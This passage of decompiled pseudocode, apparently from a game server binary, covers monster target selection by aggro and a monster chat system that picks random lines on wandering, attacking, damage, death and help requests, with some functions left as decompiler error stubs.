v15[v4].ls_IsActiv, v17 = (int)&v15[v4], v16) ) v18 = *(_DWORD *)v17; else v18 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v18 + 8) + 988))(291) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v19 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v19 + 8)) ) v20 = *(_DWORD *)v19; else v20 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v20 + 8) + 988))(335) ) { v21 = v3->baseclass_0.l_MaxSize; if ( v4 < v21 && (v22 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; v24 = *(_DWORD *)(v23 + 12); if ( v24 > maxaggro ) { maxaggro = v24; if ( v4 >= v21 || (v25 = (int)&v3->baseclass_0.l_Array[v4], !*(_BYTE *)(v25 + 8)) ) goto LABEL_2; mtb = *(MobTargetStruct **)v25; } } } } } if ( mtb ) { v28->baseclass_0.mts_Current.target = mtb; } else { v28->baseclass_0.mts_Current.target = (MobTargetStruct *)&mobtargeteraser; v28->baseclass_0.mts_Current.distsquar = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mt_SelectTarget"); } //----- (0047F9A0) -------------------------------------------------------- #error "47F9A0: undefined or illegal type '#325' (funcsize=291)" //----- (0047FD40) -------------------------------------------------------- void __thiscall MobTargetBout::mts_AggroClear(MobTargetBout *this) { MobTargetBout *v1; // esi@1 List *v2; // ecx@1 ListIteratorDefault arg; // [sp+4h] [bp-14h]@1 List *v4; // [sp+8h] [bp-10h]@1 int v5; // [sp+14h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_AggroClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_AggroClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (List *)v1->mtb_targetlist; v5 = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v4 = v2; LOBYTE(v5) = 1; List::l_4AllInList(v2, &arg); --funcallanalizer.fca_stackpoint; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_AggroClear"); } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0047FE00) -------------------------------------------------------- #error "47FE00: undefined or illegal type '#325' (funcsize=270)" //----- (00480160) -------------------------------------------------------- #error "480160: undefined or illegal type '#325' (funcsize=91)" //----- (00480260) -------------------------------------------------------- int __thiscall MobDataBox::operator int(MobDataBox *this) { return this->mdb_maxmobhandle + 1; } //----- (00480270) -------------------------------------------------------- unsigned int __thiscall MobChat::MobChatElementBase::mceb_MobChatInterval(MobChat::MobChatElementBase *this) { return 1000000000; } //----- (00480280) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::MobChatManager(MobChat::MobChatManager *this) { this->mcm_Default.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementBase::_vftable_; } // 5B8FBC: using guessed type int (*MobChat__MobChatElementBase___vftable_)(); //----- (00480290) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_WanderChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_WanderChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_WanderChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Wander[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_WanderChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_WanderChat"); } //----- (00480350) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_AttackChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_AttackChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_AttackChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Attack[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_AttackChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_AttackChat"); } //----- (00480410) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_DamageChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DamageChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_DamageChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Damage[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_DamageChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DamageChat"); } //----- (004804D0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_KilledChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_KilledChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_KilledChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_Killed[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_KilledChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_KilledChat"); } //----- (00480590) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_HelpReqChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpReqChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_HelpReqChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_HelpReq[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_HelpReqChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpReqChat"); } //----- (00480650) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_HelpAckChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpAckChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_HelpAckChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_HelpAck[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_HelpAckChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpAckChat"); } //----- (00480710) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_DetectBattleChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatManager::mcm_DetectBattleChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_DetectBattleChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_DetectBattle[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_DetectBattleChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DetectBattleChat"); } //----- (004807D0) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::MobChatElement(MobChat::MobChatElement *this, MobChat::MobChatRecord *rec) { MobChat::MobChatElement *v2; // eax@1 int v3; // ecx@3 v2 = this; this->baseclass_0.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElement::_vftable_; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[12] = 0i64; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[4] = 0i64; *(_DWORD *)&this->mce_Record.mobindex.ort_Name[0] = 0; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[0] = *(_QWORD *)&rec->mobindex.ort_Name[0]; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[8] = *(_QWORD *)&rec->mobindex.ort_Name[8]; *(_DWORD *)&this->mce_Record.mobindex.ort_Name[16] = *(_DWORD *)&rec->mobindex.ort_Name[16]; this->mce_Record.rate0 = rec->rate0; this->mce_Record.rate1 = rec->rate1; memcpy(&this->mce_Record.script, &rec->script, sizeof(this->mce_Record.script)); this->mce_Number = 0; do { if ( v2->mce_Record.script.str.script0[65 * v2->mce_Number] == 45 ) break; v3 = v2->mce_Number + 1; v2->mce_Number = v3; } while ( v3 < 4 ); } // 5B9104: using guessed type int (*MobChat__MobChatElement___vftable_)(); //----- (00480860) -------------------------------------------------------- void __thiscall MobChat::MobChatElementWander::MobChatElementWander(MobChat::MobChatElementWander *this, MobChat::MobChatRecord *rec) { MobChat::MobChatElementWander *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 int v5; // edx@2 v2 = this; MobChat::MobChatElement::MobChatElement(&this->baseclass_0, rec); v3 = v2->baseclass_0.mce_Record.rate1 - v2->baseclass_0.mce_Record.rate0; v2->baseclass_0.baseclass_0.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementWander::_vftable_; v2->mcew_Dice = v3; v2->mcew_Roll = 1; if ( v3 >= 100 ) { do { v4 = v2->mcew_Dice / 2; v5 = 2 * v2->mcew_Roll; v2->mcew_Dice = v4; v2->mcew_Roll = v5; } while ( v4 >= 100 ); } } // 5B9124: using guessed type int (*MobChat__MobChatElementWander___vftable_)(); //----- (004808C0) -------------------------------------------------------- unsigned int __thiscall MobChat::MobChatElementWander::mceb_MobChatInterval(MobChat::MobChatElementWander *this) { MobChat::MobChatElementWander *v1; // edi@1 int v2; // ecx@1 unsigned int result; // eax@2 unsigned int v4; // eax@3 char *v5; // ecx@5 int v6; // eax@5 unsigned __int16 v7; // ax@5 unsigned int v8; // esi@7 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElementWander::mceb_MobChatInterval"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( v1->baseclass_0.mce_Number ) { v4 = v1->mcew_Dice; if ( v4 && v4 <= 0x64 ) { v5 = (char *)&rndbox + 32776 * v4; v6 = *((_DWORD *)v5 + 8193) & (*((_DWORD *)v5 + 8192) + 1); *((_DWORD *)v5 + 8192) = v6; v7 = *(_WORD *)&v5[2 * v6]; } else { v7 = 0; } v8 = v1->baseclass_0.mce_Record.rate0 + v1->mcew_Roll * v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); result = v8; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); result = 1000000000; } return result; } //----- (004809D0) -------------------------------------------------------- void __thiscall MobChat::MobChatElementWander::mceb_WanderChat(MobChat::MobChatElementWander *this) { MobChat::MobChatElementWander *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@4 int v4; // ecx@4 unsigned __int16 v5; // ax@4 int v6; // edx@6 int v7; // eax@6 int v8; // esi@6 char v9; // cl@7 int v10; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_WanderChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElementWander::mceb_WanderChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->baseclass_0.mce_Number; if ( v2 ) { if ( v2 && v2 <= 0x64 ) { v3 = (char *)&rndbox + 32776 * v2; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; v5 = *(_WORD *)&v3[2 * v4]; } else { v5 = 0; } v6 = (int)((char *)&v1->baseclass_0.mce_Record.script + 65 * v5); v7 = (int)((char *)&v1->baseclass_0.mce_Record.script + 65 * v5); v8 = v7 + 1; do v9 = *(_BYTE *)v7++; while ( v9 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v10 + 1308))(65535, v6, v7 - v8, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_WanderChat"); } //----- (00480AD0) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_AttackChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_AttackChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_AttackChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_AttackChat"); } //----- (00480C20) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_DamageChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_DamageChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_DamageChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_DamageChat"); } //----- (00480D70) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_KilledChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_KilledChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_KilledChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_KilledChat"); } //----- (00480EC0) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_HelpReqChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpReqChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_HelpReqChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpReqChat"); } //----- (00481010) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_HelpAckChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpAckChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_HelpAckChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpAckChat"); } //----- (00481160) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_DetectBattleChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElement::mceb_DetectBattleChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_DetectBattleChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElement::mceb_DetectBattleChat"); } //----- (004812B0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::_MobChatManager(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // edi@1 char *v3; // ebx@2 char *v4; // eax@3 void *v5; // ST14_4@5 MobChat::MobChatElementBase **v6; // ecx@6 char *v7; // eax@6 void *v8; // ST14_4@8 MobChat::MobChatElementBase **v9; // edx@9 char *v10; // eax@9 void *v11; // ST14_4@11 char *v12; // eax@12 void *v13; // ST14_4@14 MobChat::MobChatElementBase **v14; // ecx@15 char *v15; // eax@15 void *v16; // ST14_4@17 MobChat::MobChatElementBase **v17; // edx@18 char *v18; // eax@18 void *v19; // ST14_4@20 char *v20; // eax@21 void *v21; // ST14_4@23 v1 = this; v2 = 0; if ( this->mcm_MaxMobHandle > 0 ) { v3 = (char *)&this->mcm_Default; do { v4 = (char *)v1->mcm_Wander[v2]; if ( v4 != v3 && v4 ) { v5 = v1->mcm_Wander[v2]; *(_DWORD *)v4 = &MobChat::MobChatElementBase::_vftable_; operator delete(v5); } v6 = v1->mcm_Attack; v7 = (char *)v6[v2]; if ( v7 != v3 && v7 ) { v8 = v6[v2]; *(_DWORD 